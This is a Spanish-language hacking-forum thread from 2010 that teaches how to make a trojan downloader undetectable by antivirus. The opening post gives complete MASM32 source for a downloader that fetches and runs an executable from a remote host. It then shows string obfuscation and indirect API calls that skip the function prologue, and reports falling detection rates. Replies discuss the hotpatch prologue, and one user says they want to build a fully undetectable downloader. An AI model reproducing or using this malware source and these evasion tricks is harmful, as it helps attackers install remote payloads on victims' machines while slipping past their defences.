elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Los antivirus y sus "poderosas" heurísticas
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Los antivirus y sus "poderosas" heurísticas  (Leído 5,584 veces)
[ANTRAX]

Desconectado Desconectado

Mensajes: 24


ANTRAX


Ver Perfil WWW
Los antivirus y sus "poderosas" heurísticas
« en: 21 Junio 2010, 18:04 pm »

En este post vamos a ver cuán sencillo es hacer indetectable un troyano. Cogeremos el más simple posible, Troyan.Downloader, un pequeño programa que se baja un exe de una página web y lo ejecuta con CreateProcess.

Éste es el código fuente original, que compila bajo masm32:

Código
  1. .386
  2. .model flat, stdcall ; 32 bit memory model
  3. option casemap :none ; case sensitive
  4.  
  5. include \MASM32\INCLUDE\windows.inc
  6. include \MASM32\INCLUDE\kernel32.inc
  7. include \MASM32\INCLUDE\urlmon.inc
  8. include \MASM32\INCLUDE\shell32.inc
  9.  
  10. includelib \MASM32\LIB\kernel32.lib
  11. includelib \MASM32\LIB\urlmon.lib
  12. includelib \MASM32\LIB\shell32.lib
  13.  
  14. ; #########################################
  15. .data
  16. web db "http://mitroyano.com/test.exe",0
  17. open db "open",0
  18. dir db "test.exe",0 (0) ; buffer for command line
  19. pinfo dd 4 dup (0) ;process handles
  20. startupinfo db 48h dup (0) ;startup info for the process were opening
  21.  
  22. .code
  23.  
  24. start:
  25. push NULL
  26. push 0
  27. push offset dir
  28. push offset web
  29. push NULL
  30. CALL URLDownloadToFile
  31.  
  32. push offset pinfo
  33. push offset startupinfo
  34. push NULL
  35. push NULL
  36. push NULL
  37. push TRUE
  38. push NULL
  39. push NULL
  40. push NULL
  41. push offset dir ; Pointer to name of executable mod
  42. call CreateProcessA
  43.  
  44. push 0
  45. call ExitProcess
  46.  
  47. end start
  48.  
  49. ; ####################
  50.  

He marcado en negrita las tres cosas que son importantes en cuánto a comportamiento vírico se refiere:

(1) un string de una web de dónde se descarga el exe: http://...
(2) la llamada a URLDownloadToFile
(3) la llamada a CreateProcess.

Éste es el análisis del virus antes de modificarlo.


Por cierto, ya es bastante grave que antivirus como F-PROT, AVG, bitdefender no cataloguen correctamente nuestro troyano. Pero sigamos.



Ahora haremos un pequeño cambio. Subsituiremos http por wttp y restauraremos el string al principio del programa:




Código
  1. web DB "wttp://mitroyano.com/troyano.exe", 0
  2. [...]
  3. Lea Eax, [web]
  4. Mov Byte Ptr [Eax], 'h'

Con esto, nos quitamos de encima uno de los antivirus (avira). Aquí tenéis el análisis.

Código:
http://scanner.novirusthanks.org/analysis/e97f5f997c712b39eb038b03db949d7c/UHJveWVjdG8xLmV4ZQ==/

Nuestro siguiente paso va a ser quitar esa llamada tan fea que tenemos a
URLDownloadToFile, que canta muchísimo. ¿Cómo? Pues simplemente vemos con un debugger la primera instrucción que ejecuta la función, que en este caso es mov edi, edi, la copiamos en nuestro programa y luego llamamos a la API con un call eax:

Código
  1. Push NULL
  2. Push 0
  3. push offset dir
  4. push offset web
  5. Push NULL
  6. ;Call URLDownloadToFile
  7. Mov Edi, Edi
  8. Mov Eax, URLDownloadToFile
  9. Inc Eax
  10. Inc Eax
  11. Call Eax
  12.  
Notar que hemos puesto dos inc eax porque la longitud de la instrucción mov edi, edi es dos.

Después de tan complicado cambio, el resultado es que tan sólo Dr.Web lo detecta. ¿Análisis heurístico? ¿Sandboxes? Mejor no digo nada ...


Fuente:
Código:
http://hacking-avanzado.blogspot.com
« Última modificación: 21 Junio 2010, 18:34 pm por Karcrack » En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #1 en: 21 Junio 2010, 18:40 pm »

Vale lo de la heurística, pero las sandbox's no tienen nada que ver con ésto. Además, las proactivas de los antivirus sí detectarían lo que estás haciendo, ahí es donde avanzan con el paso de las versiones. De todas formas, buen texto  :P.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #2 en: 21 Junio 2010, 19:37 pm »

He modificado el Post para dejarlo mas bonito ;)

Voy a intentar hacer un pequueño Downloader FUD, me han entrado ganas :laugh: ;)
En línea

[ANTRAX]

Desconectado Desconectado

Mensajes: 24


ANTRAX


Ver Perfil WWW
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #3 en: 21 Junio 2010, 19:39 pm »

He modificado el Post para dejarlo mas bonito ;)

Voy a intentar hacer un pequueño Downloader FUD, me han entrado ganas :laugh: ;)

Gracias por editarme el post, olvide de usar el GeSHi, sinceramente ahora si quedo mas bonito.

Espero que este post les sirva para seguir experimentando
En línea

kisk

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #4 en: 23 Junio 2010, 03:23 am »

Si es Mov edi,edi es ridiculo ponerlo XD
En línea

La vieja escuela me da nostalgia la nueva me da naucias dime cual es la escuela si ambas me deprimen (8)
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #5 en: 23 Junio 2010, 12:30 pm »

Si es Mov edi,edi es ridiculo ponerlo XD
Código:
http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx
Un tema interesante...
Citar
The purpose of the, otherwise, useless "MOV EDI, EDI" is to provide with a total of 5 known bytes at the start of a function.
Five because that's the length of a "JMP XXXXXXXX", so those functions can be hotpatched without need to disassemble their prolog to figure out how many bytes need to be saved.

No es necesario ejecutarlo para este ejemplo, pero es interesante por que esta ahi :)
« Última modificación: 23 Junio 2010, 12:32 pm por Karcrack » En línea

kisk

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #6 en: 23 Junio 2010, 17:02 pm »

Si es Mov edi,edi es ridiculo ponerlo XD
Código:
http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx
Un tema interesante...
Citar
The purpose of the, otherwise, useless "MOV EDI, EDI" is to provide with a total of 5 known bytes at the start of a function.
Five because that's the length of a "JMP XXXXXXXX", so those functions can be hotpatched without need to disassemble their prolog to figure out how many bytes need to be saved.

No es necesario ejecutarlo para este ejemplo, pero es interesante por que esta ahi :)

Si se por que esta el mov edi,edi pero es ridiculo ponerlo en el codigo ya que solo ocupa espacio y vuelve mas lento el codigo :P
En línea

La vieja escuela me da nostalgia la nueva me da naucias dime cual es la escuela si ambas me deprimen (8)
Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Los antivirus y sus "poderosas" heurísticas
« Respuesta #7 en: 23 Junio 2010, 21:36 pm »

Muy interesante, pero creo que al final acabaran cubriendo estos tips tan simples.

Saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Saltarse heuristicas y sandbox modeando? « 1 2 ... 6 7 »
Análisis y Diseño de Malware
Tr0Y4N0 61 27,048 Último mensaje 23 Marzo 2013, 23:36 pm
por Karcrack
Heuristicas Pathfinding
Java
obiderk7 0 1,728 Último mensaje 30 Abril 2018, 19:55 pm
por obiderk7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines